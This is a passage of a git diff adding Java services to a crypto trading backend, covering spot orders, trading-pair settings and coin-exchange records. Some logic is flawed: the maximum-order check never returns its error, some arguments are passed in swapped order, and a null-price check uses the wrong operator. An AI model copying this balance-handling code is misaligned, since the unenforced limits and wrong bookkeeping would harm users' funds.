combinationCurrencyOrder(tCurrencyOrder, ratio, userId); + } + } else { + tCurrencyOrder.setDealNum(delegateTotal); + tCurrencyOrder.setDealValue(settlePrice.multiply(delegateTotal).setScale(6, RoundingMode.DOWN)); + tCurrencyOrder.setDelegatePrice(settlePrice); + tCurrencyOrder.setDelegateValue(tCurrencyOrder.getDealValue()); + tCurrencyOrder.setFee(tCurrencyOrder.getDealValue().multiply(ratio)); + BigDecimal subtractPrice = delegateTotal; + BigDecimal addPrice = tCurrencyOrder.getDealValue().subtract(tCurrencyOrder.getFee()); + assembleCurrencyOrder(tCurrencyOrder, coin, symbol, userId, subtractPrice, addPrice, addAsset, subtractAsset); + } + } + return "success"; + } + + /** + * 币种校验 + * + * @param tCurrencyOrder + * @param currencySymbol + * @param settlePrice + * @return + */ + @Override + public String checkOrder(TCurrencyOrder tCurrencyOrder, TCurrencySymbol currencySymbol, BigDecimal settlePrice) { + + + Integer type = tCurrencyOrder.getType(); + + Integer deleType=tCurrencyOrder.getDelegateType(); + // + BigDecimal minSell = Objects.isNull(currencySymbol.getMinSell())?BigDecimal.ZERO:currencySymbol.getMinSell(); + + if (type == 1) { + if (tCurrencyOrder.getDelegateTotal().compareTo(minSell) < 0) { + return MessageUtils.message("order.sell.min.error", minSell); + } + } else { + if(deleType==1){ + tCurrencyOrder.setDelegateTotal(tCurrencyOrder.getDelegateValue().divide(settlePrice, 6, RoundingMode.DOWN)); + } + //最小下单量 + if (tCurrencyOrder.getDelegateTotal().compareTo(currencySymbol.getOrderMin()) < 0) { + return MessageUtils.message("currency.order.min.error", currencySymbol.getOrderMin()); + } + //最大下单量 + if (tCurrencyOrder.getDelegateTotal().compareTo(currencySymbol.getOrderMax()) > 0) { + MessageUtils.message("currency.order.max.error", currencySymbol.getOrderMax()); + } + } +// Integer delegateType = tCurrencyOrder.getDelegateType(); +// if (currencySymbol.getIsDeal().equals("2")){ +// return MessageUtils.message("currency.deal.error"); +// } +// if (type==0){ +// if (delegateType==0){ +// //限价买 1=可以 2=不可以 +// if (currencySymbol.getLimitedBuy().equals("2")){ +// return MessageUtils.message("currency.limited.buy.error"); +// } +// //最高买单价 +// if (tCurrencyOrder.getDelegatePrice().compareTo(currencySymbol.getBuyMax())>0){ +// +// return MessageUtils.message("currency.buy.max.error",currencySymbol.getBuyMax()); +// } +// //最小下单量 +// if (tCurrencyOrder.getDelegateTotal().compareTo(currencySymbol.getOrderMin())<0 ){ +// +// return MessageUtils.message("currency.order.min.error",currencySymbol.getOrderMin()); +// } +// //最大下单量 +// if (tCurrencyOrder.getDelegateTotal().compareTo(currencySymbol.getOrderMax())>0){ +// MessageUtils.message("currency.order.max.error",currencySymbol.getOrderMax()); +// } + + +// //市价买 1=可以 2=不可以 +// if (currencySymbol.getMarketBuy().equals("2")){ +// +// return MessageUtils.message("currency.market.buy.error"); +// } +// //最高买单价 +//// if (settlePrice.compareTo(currencySymbol.getBuyMax())>0){ +//// return MessageUtils.message("currency.buy.max.error",currencySymbol.getBuyMax()); +//// } +// } +// }else{ +// //最小下单量 +// if (tCurrencyOrder.getDelegateTotal().compareTo(currencySymbol.getOrderMin())<0 ){ +// return MessageUtils.message("currency.order.min.error",currencySymbol.getOrderMin()); +// } +// //最大下单量 +// if (tCurrencyOrder.getDelegateTotal().compareTo(currencySymbol.getOrderMax())>0){ +// MessageUtils.message("currency.order.max.error",currencySymbol.getOrderMax()); +// } +// if (delegateType==0){ +// //限价卖 1=可以 2=不可以 +// if (currencySymbol.getLimitedBuy().equals("2")){ +// return MessageUtils.message("currency.limited.sell.error"); +// } +// //最底卖单价 +// if (tCurrencyOrder.getDelegatePrice().compareTo(currencySymbol.getSellMin())<0){ +// +// return MessageUtils.message("currency.sell.min.error",currencySymbol.getSellMin()); +// } +// }else{ +// //市价卖 1=可以 2=不可以 +// if (currencySymbol.getMarketSell().equals("2")){ +// +// return MessageUtils.message("currency.market.sell.error"); +// } +// //最底卖单价 +//// if (settlePrice.compareTo(currencySymbol.getSellMin())<0){ +//// +//// return MessageUtils.message("currency.sell.min.error",currencySymbol.getSellMin()); +//// } +// } +// } + return "success"; + } + + /** + * @param symbol + * @param coin + * @param userId 用户id + * @param subtractPrice 交易币种要➖的金额 + * @param addPrice 结算币种要➕的金额 + * @param subtractAsset 用户交易币种资产 + * @param addAsset 用户结算币种资产 + */ + @Override + public void assembleCurrencyOrder(TCurrencyOrder tCurrencyOrder, String symbol, String coin, Long + userId, BigDecimal subtractPrice, BigDecimal addPrice, TAppAsset subtractAsset, TAppAsset addAsset) { + TAppUser appUser = tAppUserService.getById(userId); + tCurrencyOrder.setUserId(userId); + tCurrencyOrder.setDelegateTime(DateUtils.getNowDate()); + tCurrencyOrder.setDealTime(DateUtils.getNowDate()); + tCurrencyOrder.setCreateTime(DateUtils.getNowDate()); + tCurrencyOrder.setUpdateTime(DateUtils.getNowDate()); + tCurrencyOrder.setStatus(1); + tCurrencyOrderMapper.insert(tCurrencyOrder); + tAppAssetService.reduceAssetByUserId(userId, coin, subtractPrice); + tAppAssetService.addAssetByUserId(userId, symbol, addPrice); + appWalletRecordService.generateRecord(userId, subtractPrice, RecordEnum.CURRENCY_TRADINGSUB.getCode(), null, tCurrencyOrder.getOrderNo(), "币币交易-", subtractAsset.getAvailableAmount(), subtractAsset.getAvailableAmount().subtract(subtractPrice), coin, appUser.getAdminParentIds()); + appWalletRecordService.generateRecord(userId, addPrice, RecordEnum.CURRENCY_TRADINGADD.getCode(), null, tCurrencyOrder.getOrderNo(), "币币交易+", addAsset.getAvailableAmount(), addAsset.getAvailableAmount().add(addPrice), symbol, appUser.getAdminParentIds()); + + //币币打码 + Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(setting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getCurrencyIsOpen()) && addMosaic.getCurrencyIsOpen()){ + BigDecimal price = BigDecimal.ONE; + try { + if (!coin.equals("usdt")){ + price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toLowerCase()); + appUser.setTotleAmont(appUser.getTotleAmont().add(subtractPrice.multiply(price))); + }else{ + appUser.setTotleAmont(appUser.getTotleAmont().add(subtractPrice)); + } + tAppUserService.updateTotleAmont(appUser); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + } + + /** + * 限价没满足条件的操作 + * + * @param tCurrencyOrder + * @param ratio + * @param userId + */ + public void combinationCurrencyOrder(TCurrencyOrder tCurrencyOrder, BigDecimal ratio, Long userId) { + tCurrencyOrder.setCreateTime(DateUtils.getNowDate()); + tCurrencyOrder.setUpdateTime(DateUtils.getNowDate()); + tCurrencyOrder.setDelegateTime(DateUtils.getNowDate()); + tCurrencyOrder.setStatus(0); + tCurrencyOrder.setFee(ratio); + tCurrencyOrder.setDelegateTotal(tCurrencyOrder.getDelegateTotal()); + tCurrencyOrder.setDelegatePrice(tCurrencyOrder.getDelegatePrice()); + tCurrencyOrder.setDelegateValue(tCurrencyOrder.getDelegateValue()); + tCurrencyOrder.setDealNum(BigDecimal.ZERO); + tCurrencyOrder.setDealValue(BigDecimal.ZERO); + tCurrencyOrder.setDealPrice(BigDecimal.ZERO); + tCurrencyOrderMapper.insert(tCurrencyOrder); + tAppAssetService.occupiedAssetByUserId(userId, tCurrencyOrder.getType() == 0 ? tCurrencyOrder.getCoin() : tCurrencyOrder.getSymbol(), tCurrencyOrder.getType() == 0 ? tCurrencyOrder.getDelegateValue() : tCurrencyOrder.getDelegateTotal()); + } + + /** + * 扯单 + * + * @param currencyOrder + * @return + */ + @Override + @Transactional + public int canCelOrder(TCurrencyOrder currencyOrder) { + //买入撤单 + TAppAsset asset = tAppAssetService.getOne(new LambdaQueryWrapper() + .eq(TAppAsset::getUserId, currencyOrder.getUserId()) + .eq(TAppAsset::getSymbol, currencyOrder.getSymbol()) + .eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + + TAppAsset usdtAsset = tAppAssetService.getOne(new LambdaQueryWrapper() + .eq(TAppAsset::getUserId, currencyOrder.getUserId()) + .eq(TAppAsset::getSymbol, currencyOrder.getCoin()) + .eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + + Integer type = currencyOrder.getType(); + + BigDecimal delegateTotal = currencyOrder.getDelegateTotal(); + + BigDecimal delegateVale = currencyOrder.getDelegateValue(); + + if (0 == type) { + usdtAsset.setAvailableAmount(usdtAsset.getAvailableAmount().add(delegateVale)); + usdtAsset.setOccupiedAmount(usdtAsset.getOccupiedAmount().subtract(delegateVale)); + tAppAssetService.updateByUserId(usdtAsset); + } else if (1 == type) { + asset.setAvailableAmount(asset.getAvailableAmount().add(delegateTotal)); + asset.setOccupiedAmount(asset.getOccupiedAmount().subtract(delegateTotal)); + tAppAssetService.updateByUserId(asset); + } + currencyOrder.setStatus(3); + int i = tCurrencyOrderMapper.updateTCurrencyOrder(currencyOrder); + return i; + } + + @Override + public List selectOrderList(TCurrencyOrder tCurrencyOrder) { + List tCurrencyOrders = tCurrencyOrderMapper.selectOrderList(tCurrencyOrder); + for (TCurrencyOrder currencyOrder : tCurrencyOrders) { + QueryWrapper queryWrapper = new QueryWrapper(); + queryWrapper.eq("UPPER(coin)", currencyOrder.getSymbol().toUpperCase()); + TCurrencySymbol tCurrencySymbol = tCurrencySymbolMapper.selectOne(queryWrapper); + } + + return tCurrencyOrders; + } + + + /** + * 判断是否符合限价的操作 + * + * @param type + * @param settlePrice + * @param delegatePrice + * @return + */ + @Override + public boolean checkPrice(Integer type, BigDecimal settlePrice, BigDecimal delegatePrice) { + if (0 == type) { + //限价于小于当前价 + if (delegatePrice.compareTo(settlePrice) >= 0) { + return true; + } + } else { + //限价大于等于当前价 + if (delegatePrice.compareTo(settlePrice) <= 0) { + return true; + } + } + return false; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCurrencySymbolServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCurrencySymbolServiceImpl.java new file mode 100644 index 0000000..5a8a52f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCurrencySymbolServiceImpl.java @@ -0,0 +1,212 @@ +package com.ruoyi.bussiness.service.impl; +import cn.dev33.satoken.stp.StpUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.Date; +import java.util.HashMap; +import java.util.List; + +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TOwnCoin; +import com.ruoyi.bussiness.domain.TUserCoin; +import com.ruoyi.bussiness.mapper.KlineSymbolMapper; +import com.ruoyi.bussiness.mapper.TUserCoinMapper; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.apache.commons.lang3.ObjectUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TCurrencySymbolMapper; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; + +/** + * 币币交易币种配置Service业务层处理 + * + * @author ruoyi + * @date 2023-07-25 + */ +@Service +public class TCurrencySymbolServiceImpl extends ServiceImpl implements ITCurrencySymbolService +{ + @Resource + private TCurrencySymbolMapper tCurrencySymbolMapper; + @Resource + private KlineSymbolMapper klineSymbolMapper; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + @Resource + private TUserCoinMapper userCoinMapper; + @Resource + private ITOwnCoinService itOwnCoinService; + /** + * 查询币币交易币种配置 + * + * @param id 币币交易币种配置主键 + * @return 币币交易币种配置 + */ + @Override + public TCurrencySymbol selectTCurrencySymbolById(Long id) + { + return tCurrencySymbolMapper.selectTCurrencySymbolById(id); + } + + /** + * 查询币币交易币种配置列表 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 币币交易币种配置 + */ + @Override + public List selectTCurrencySymbolList(TCurrencySymbol tCurrencySymbol) + { + return tCurrencySymbolMapper.selectTCurrencySymbolList(tCurrencySymbol); + } + + /** + * 新增币币交易币种配置 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 结果 + */ + @Override + public int insertTCurrencySymbol(TCurrencySymbol tCurrencySymbol) + { + + + tCurrencySymbol.setSymbol(tCurrencySymbol.getCoin().toLowerCase()+"usdt"); + tCurrencySymbol.setShowSymbol(StringUtils.isNotBlank(tCurrencySymbol.getShowSymbol())?tCurrencySymbol.getShowSymbol().toUpperCase():(tCurrencySymbol.getCoin()+"/usdt").toUpperCase()); + tCurrencySymbol.setCoin(tCurrencySymbol.getCoin().toLowerCase()); + tCurrencySymbol.setBaseCoin("usdt"); + tCurrencySymbol.setUpdateBy(SecurityUtils.getUsername()); + tCurrencySymbol.setUpdateTime(DateUtils.getNowDate()); + tCurrencySymbol.setCreateBy(SecurityUtils.getUsername()); + tCurrencySymbol.setUpdateTime(DateUtils.getNowDate()); + List klist = klineSymbolMapper.selectList(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, tCurrencySymbol.getCoin().toUpperCase())); + if (!CollectionUtils.isEmpty(klist)){ + tCurrencySymbol.setLogo(klist.get(0).getLogo()); + } + if(tCurrencySymbol.getMarket().equals("echo")){ + KlineSymbol klineSymbol = klineSymbolMapper.selectOne(new LambdaQueryWrapper().eq(KlineSymbol::getMarket, tCurrencySymbol.getMarket()).eq(KlineSymbol::getSymbol, tCurrencySymbol.getCoin().toLowerCase())); + tCurrencySymbol.setLogo(klineSymbol.getLogo()); + } + int i = tCurrencySymbolMapper.insertTCurrencySymbol(tCurrencySymbol); + HashMap object = new HashMap<>(); + object.put("add_coin",tCurrencySymbol.getCoin()); + redisUtil.addStream(redisStreamNames,object); + return i; + } + + /** + * 修改币币交易币种配置 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 结果 + */ + @Override + public int updateTCurrencySymbol(TCurrencySymbol tCurrencySymbol) + { + tCurrencySymbol.setSymbol(tCurrencySymbol.getCoin().toLowerCase()+"usdt"); + tCurrencySymbol.setShowSymbol(tCurrencySymbol.getShowSymbol().toUpperCase()); + tCurrencySymbol.setCoin(tCurrencySymbol.getCoin().toLowerCase()); + tCurrencySymbol.setUpdateBy(SecurityUtils.getUsername()); + tCurrencySymbol.setUpdateTime(DateUtils.getNowDate()); + List klist = klineSymbolMapper.selectList(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, tCurrencySymbol.getCoin().toUpperCase())); + if (!CollectionUtils.isEmpty(klist)){ + tCurrencySymbol.setLogo(klist.get(0).getLogo()); + } + return tCurrencySymbolMapper.updateTCurrencySymbol(tCurrencySymbol); + } + + /** + * 批量删除币币交易币种配置 + * + * @param ids 需要删除的币币交易币种配置主键 + * @return 结果 + */ + @Override + public int deleteTCurrencySymbolByIds(Long[] ids) + { + return tCurrencySymbolMapper.deleteTCurrencySymbolByIds(ids); + } + + /** + * 删除币币交易币种配置信息 + * + * @param id 币币交易币种配置主键 + * @return 结果 + */ + @Override + public int deleteTCurrencySymbolById(Long id) + { + return tCurrencySymbolMapper.deleteTCurrencySymbolById(id); + } + + @Override + public boolean batchSave(String[] symbols) { + List list = new ArrayList<>(); + for (String symbol : symbols) { + TCurrencySymbol tCurrencySymbol = tCurrencySymbolMapper.selectOne(new LambdaQueryWrapper().eq(TCurrencySymbol::getCoin, symbol.toLowerCase())); + if(null != tCurrencySymbol){ + continue; + } + TCurrencySymbol currencySymbol = new TCurrencySymbol(); + List klist = klineSymbolMapper.selectList(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, symbol.toUpperCase())); + if (!CollectionUtils.isEmpty(klist)){ + currencySymbol.setLogo(klist.get(0).getLogo()); + } + currencySymbol.setSymbol(symbol.toLowerCase()+"usdt"); + currencySymbol.setShowSymbol(symbol.toUpperCase()+"/USDT"); + currencySymbol.setCoin(symbol.toLowerCase()); + currencySymbol.setBaseCoin("usdt"); + + list.add(currencySymbol); + } + return this.saveBatch(list); + } + + @Override + public List getSymbolList() { + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setIsShow("1"); + List tCurrencySymbols = tCurrencySymbolMapper.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol tCurrencySymbol1: tCurrencySymbols) { + String logo = tCurrencySymbol1.getLogo(); + if(logo.contains("echo-res")){ + tCurrencySymbol1.setLogo(logo); + }else { + tCurrencySymbol1.setLogo(" https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui"+ logo.substring(logo.lastIndexOf("/"),logo.length())); + } + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper(); + queryWrapper.eq(TUserCoin::getCoin, tCurrencySymbol1.getCoin().toLowerCase()); + if(StpUtil.isLogin()){ + queryWrapper.eq(TUserCoin::getUserId, StpUtil.getLoginIdAsLong()); + TUserCoin userCoin = userCoinMapper.selectOne(queryWrapper); + if(ObjectUtils.isNotEmpty(userCoin)){ + tCurrencySymbol1.setIsCollect(1); + }else { + tCurrencySymbol1.setIsCollect(2); + } + } + } + return tCurrencySymbols; + } + + @Override + public TCurrencySymbol selectByCoin(String symbol) { + return tCurrencySymbolMapper.selectByCoin(symbol); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TExchangeCoinRecordServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TExchangeCoinRecordServiceImpl.java new file mode 100644 index 0000000..1e56fbf --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TExchangeCoinRecordServiceImpl.java @@ -0,0 +1,328 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.mapper.TAppWalletRecordMapper; +import com.ruoyi.bussiness.mapper.TExchangeCoinRecordMapper; +import com.ruoyi.bussiness.mapper.TSymbolManageMapper; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.bussiness.service.ITExchangeCoinRecordService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.OrderUtils; +import com.ruoyi.common.utils.StringUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; + +/** + * 币种兑换记录Service业务层处理 + * + * @author ruoyi + * @date 2023-07-07 + */ +@Service +@Slf4j +public class TExchangeCoinRecordServiceImpl extends ServiceImpl implements ITExchangeCoinRecordService +{ + @Autowired + private TExchangeCoinRecordMapper tExchangeCoinRecordMapper; + @Autowired + private RedisCache redisCache; + @Resource + private ITAppAssetService assetService; + @Resource + private TAppWalletRecordMapper appWalletRecordMapper; + @Resource + private TSymbolManageMapper tSymbolManageMapper; + + + + /** + * 查询币种兑换记录 + * + * @param id 币种兑换记录主键 + * @return 币种兑换记录 + */ + @Override + public TExchangeCoinRecord selectTExchangeCoinRecordById(Long id) + { + return tExchangeCoinRecordMapper.selectTExchangeCoinRecordById(id); + } + + /** + * 查询币种兑换记录列表 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 币种兑换记录 + */ + @Override + public List selectTExchangeCoinRecordList(TExchangeCoinRecord tExchangeCoinRecord) + { + return tExchangeCoinRecordMapper.selectTExchangeCoinRecordList(tExchangeCoinRecord); + } + + /** + * 新增币种兑换记录 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 结果 + */ + @Override + public int insertTExchangeCoinRecord(TExchangeCoinRecord tExchangeCoinRecord) + { + tExchangeCoinRecord.setCreateTime(DateUtils.getNowDate()); + return tExchangeCoinRecordMapper.insertTExchangeCoinRecord(tExchangeCoinRecord); + } + + /** + * 修改币种兑换记录 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 结果 + */ + @Override + public int updateTExchangeCoinRecord(TExchangeCoinRecord tExchangeCoinRecord) + { + tExchangeCoinRecord.setUpdateTime(DateUtils.getNowDate()); + return tExchangeCoinRecordMapper.updateTExchangeCoinRecord(tExchangeCoinRecord); + } + + /** + * 批量删除币种兑换记录 + * + * @param ids 需要删除的币种兑换记录主键 + * @return 结果 + */ + @Override + public int deleteTExchangeCoinRecordByIds(Long[] ids) + { + return tExchangeCoinRecordMapper.deleteTExchangeCoinRecordByIds(ids); + } + + /** + * 删除币种兑换记录信息 + * + * @param id 币种兑换记录主键 + * @return 结果 + */ + @Override + public int deleteTExchangeCoinRecordById(Long id) + { + return tExchangeCoinRecordMapper.deleteTExchangeCoinRecordById(id); + } + + @Override + public Integer countBySubmittedRecord(Long userId, String fromCoin, String toCoin) { + TExchangeCoinRecord exchangeCoinRecord = new TExchangeCoinRecord(); + exchangeCoinRecord.setUserId(userId); + exchangeCoinRecord.setFromCoin(fromCoin); + exchangeCoinRecord.setToCoin(toCoin); + exchangeCoinRecord.setStatus(0); + return tExchangeCoinRecordMapper.countByExchangeCoinRecord(exchangeCoinRecord); + } + + @Override + public int insertRecord(TAppUser user, Map params) { + TExchangeCoinRecord record = new TExchangeCoinRecord(); + record.setAddress(user.getAddress()); + record.setUserId(user.getUserId()); + record.setUsername(user.getLoginName()); + record.setFromCoin(String.valueOf(params.get("fromSymbol"))); + record.setToCoin(String.valueOf(params.get("toSymbol"))); + record.setAmount(new BigDecimal(String.valueOf(params.get("total")))); + record.setStatus(1); + record.setCreateTime(DateUtils.getNowDate()); + record.setAdminParentIds(user.getAdminParentIds()); + int i = tExchangeCoinRecordMapper.insert(record); + if (i==1){ + //兑换 + exchangeStart(record,user); + } + return i; + + + } + + @Override + public Map getCurrencyPrice(String[] currency) { + Map resultMap = new HashMap<>(); + if (currency!=null && currency.length>0){ + for (int i = 0; i < currency.length; i++) { + resultMap.put(currency[i],redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+currency[i])); + } + } + return resultMap; + } + + @Override + public List getListByLimit(int size) { + return tExchangeCoinRecordMapper.getListByLimit(size); + } + + /** + * 开始兑换 + * + * @param record + * @param user + */ + public void exchangeStart(TExchangeCoinRecord record, TAppUser user) { + log.debug(">>> 币种兑换开始 >>>"); + + // 系统配置的兑换汇率 + List list = tSymbolManageMapper.selectList(new LambdaQueryWrapper().eq(TSymbolManage::getEnable, "1").eq(TSymbolManage::getDelFlag, "0")); + BigDecimal from =record.getFromCoin().toLowerCase().equals("usdt")?new BigDecimal(1): redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+record.getFromCoin().toLowerCase()); + BigDecimal to = record.getToCoin().toLowerCase().equals("usdt")?new BigDecimal(1):redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+record.getToCoin().toLowerCase()); + if(from==null&&to==null){ + log.error("未匹配到三方提供的汇率! origin:{}", record.getExchangeType()); + return; + } + BigDecimal thirdRate= from.divide(to, 8, RoundingMode.DOWN); + //获取自己的应有币种资源对象 + Map assetMapper=assetService.getAssetByUserIdList(record.getUserId()); + TAppAsset asset =assetMapper.get(record.getFromCoin().toLowerCase()+record.getUserId()); + if (!validateAmount(record, asset)) { + // 余额不足将任务更新为失败 + updateExchangeRecordStatus(record, 2, "余额不足!"); + return; + } + //手续费汇率 + if (StringUtils.isNotEmpty(list) && list.size()>0){ + for (TSymbolManage s :list) { + if (s.getSymbol().equals(record.getToCoin().toLowerCase())){ + record.setSystemRate(s.getCommission().divide(new BigDecimal("100"))); + } + } + } + record.setThirdRate(thirdRate); + // 对金额进行过滤,后期此处可通过策略模式进行重构 + updateAndSaveRecord(asset, record, resolveComputeAmount(record),assetMapper,user); + + log.debug(">>> 币种兑换结束 >>>"); + } + + private void updateExchangeRecordStatus(TExchangeCoinRecord record, Integer status, String remark) { + record.setStatus(status); + record.setRemark(remark); + tExchangeCoinRecordMapper.updateById(record); + } + + private TAppWalletRecord buildWalletRecord(TAppAsset asset, BigDecimal beforeAmount, BigDecimal afterAmount, + BigDecimal amount, Integer type, String coin, String remark, String adminParentIds) { + + TAppWalletRecord walletRecord = new TAppWalletRecord(); + walletRecord.setUserId(asset.getUserId()); + walletRecord.setAmount(amount); + walletRecord.setSymbol(coin); + walletRecord.setRemark(remark); + walletRecord.setBeforeAmount(beforeAmount); + walletRecord.setAfterAmount(afterAmount); + walletRecord.setCreateTime(new Date()); + walletRecord.setSerialId("C" + OrderUtils.generateOrderNum()); + walletRecord.setType(type); + walletRecord.setAdminParentIds(adminParentIds); + BigDecimal price = amount; + try { + if (!coin.equals("usdt")){ + log.debug("帐变记录币种获取汇率: 币种:{}",coin); + price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toLowerCase()); + log.debug("帐变记录获取汇率: 币种:{} 汇率:{}",coin,price); + walletRecord.setUAmount(amount.multiply(price)); + }else{ + walletRecord.setUAmount(amount); + } + } catch (Exception e) { + e.printStackTrace(); + } + return walletRecord; + } + + private boolean validateAmount(TExchangeCoinRecord record, TAppAsset asset) { + boolean flag = false; + if ( asset.getBtcDefaultIfNull(BigDecimal.ZERO).compareTo(record.getAmount()) >= 0) { + flag = true; + } + return flag; + + } + + /** + * 决定最终的金额 + * + * @param record 兑换记录 + * @return 金额 + */ + private BigDecimal resolveComputeAmount(TExchangeCoinRecord record) { + // 三方提供的汇率计算结果 + BigDecimal amount = record.getAmount().multiply(record.getThirdRate()); + // 系统提供的汇率计算结果 + amount = amount.subtract(amount.multiply(record.getSystemRate())); + return amount; + } + + private void updateAndSaveRecord(TAppAsset asset, TExchangeCoinRecord record, BigDecimal computeAmount, Map map, TAppUser user) { + TAppWalletRecord walletRecordFrom = null; + TAppWalletRecord walletRecordTo = null; + TAppAsset to = map.get(record.getToCoin().toLowerCase()+record.getUserId()); + TAppAsset from=map.get(record.getFromCoin().toLowerCase()+record.getUserId()); + String toCoin = record.getToCoin().toLowerCase(); + String fromCoin= record.getFromCoin().toLowerCase(); + + //判断是否已有需要兑换的币种资源 没有的话新增兑换金额 有的话直接修改金额 + if(to==null){ + TAppAsset tAppAsset = new TAppAsset(); + tAppAsset.setType(AssetEnum.PLATFORM_ASSETS.getCode()); + tAppAsset.setAmout(computeAmount); + tAppAsset.setSymbol(toCoin); + tAppAsset.setUserId(record.getUserId()); + tAppAsset.setAdress(record.getAddress()); + tAppAsset.setAvailableAmount(computeAmount); + tAppAsset.setOccupiedAmount(BigDecimal.ZERO); + tAppAsset.setCreateTime(DateUtils.getNowDate()); + tAppAsset.setUpdateTime(DateUtils.getNowDate()); + assetService.save(tAppAsset); + + assetService.updateByUserId(TAppAsset.builder().symbol(fromCoin) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .userId(record.getUserId()) + .amout(from.getAmout().subtract(record.getAmount())) + .availableAmount(from.getAvailableAmount().subtract(record.getAmount())).build()); + walletRecordFrom = buildWalletRecord(asset, from.getAmout(),from.getAmout().subtract(record.getAmount()), record.getAmount(),RecordEnum.CURRENCY_CONVERSION_SUB.getCode(), record.getFromCoin(), record.getFromToRemark(),user.getAdminParentIds()); + walletRecordTo = buildWalletRecord(asset, new BigDecimal(0), computeAmount, computeAmount, RecordEnum.CURRENCY_EXCHANGE_ADD.getCode(), record.getToCoin(), record.getFromToRemark(), user.getAdminParentIds()); + + }else{ + assetService.updateByUserId(TAppAsset.builder().symbol(toCoin) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .userId(record.getUserId()) + .amout(to.getAmout().add(computeAmount)) + .availableAmount(to.getAvailableAmount().add(computeAmount)).build()); + assetService.updateByUserId(TAppAsset.builder().symbol(fromCoin) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .userId(record.getUserId()) + .amout(from.getAmout().subtract(record.getAmount())) + .availableAmount(from.getAvailableAmount().subtract(record.getAmount())).build()); + walletRecordFrom = buildWalletRecord(asset, from.getAmout(),from.getAmout().subtract(record.getAmount()), record.getAmount(),RecordEnum.CURRENCY_CONVERSION_SUB.getCode(), record.getFromCoin(), record.getFromToRemark(), user.getAdminParentIds()); + walletRecordTo = buildWalletRecord(asset, to.getAmout(), to.getAmout().add(computeAmount), computeAmount, RecordEnum.CURRENCY_EXCHANGE_ADD.getCode(), record.getToCoin(), record.getFromToRemark(), user.getAdminParentIds()); + } + + // 保存钱包变更记录 + appWalletRecordMapper.insert(walletRecordFrom); + appWalletRecordMapper.insert(walletRecordTo); + // 兑换记录更新为成功 + updateExchangeRecordStatus(record, 1, null); + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THelpCenterInfoServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THelpCenterInfoServiceImpl.java new file mode 100644 index 0000000..9cbf26c --- /dev/null +++ 